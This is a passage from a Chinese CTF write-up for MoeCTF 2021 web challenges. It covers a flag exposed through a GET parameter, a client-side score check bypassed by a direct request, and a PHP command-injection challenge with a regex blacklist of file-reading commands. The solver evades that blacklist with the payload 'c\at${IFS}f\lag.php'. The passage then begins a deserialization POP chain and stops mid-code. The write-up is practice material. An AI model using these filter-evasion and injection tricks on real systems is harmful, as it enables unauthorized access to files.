Comment on page
MoeCTF 2021

改下 Cookie 就可以得到 flag。
<?php
include "flag.php";
$moe = $_GET['moe'];
if ($moe == "flag") {
echo $flag;
}else {
highlight_file(__FILE__);
}
Payload 如下
moe=flag
打开网站源代码 - 搜索 flag - 找到
getFlag
函数。getFlag: function() {
var req = new XMLHttpRequest;
req.open("GET","flag.php?score="+obj.score,true);
req.onload = function() {
alert(this.responseText);
}
req.send();
}
访问
/flag.php?score=100000
即可得到 flag。<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
构造 Payload 如下
rce=ls
可以发现该目录下有
flag.php
和 index.php
两个文件。构造 Payload 如下
rce=c\at${IFS}f\lag.php
就可以得到 flag 了。
https://www.php.cn/faq/485663.html
- __constract:在实例化一个类时,触发
- __destruct:在一个实例对象被销毁的时候触发
- __call(name, arguments):访问一个不能访问的成员方法时触发
- __get():读取不可访问属性的值时触发。
链子
- 1.entrance(__construct)
- 2.entrance(__destruct)
- 3.springboard(__call)
- 4.evil(__get)
构造序列化
<?php
class entrance
{
public $start;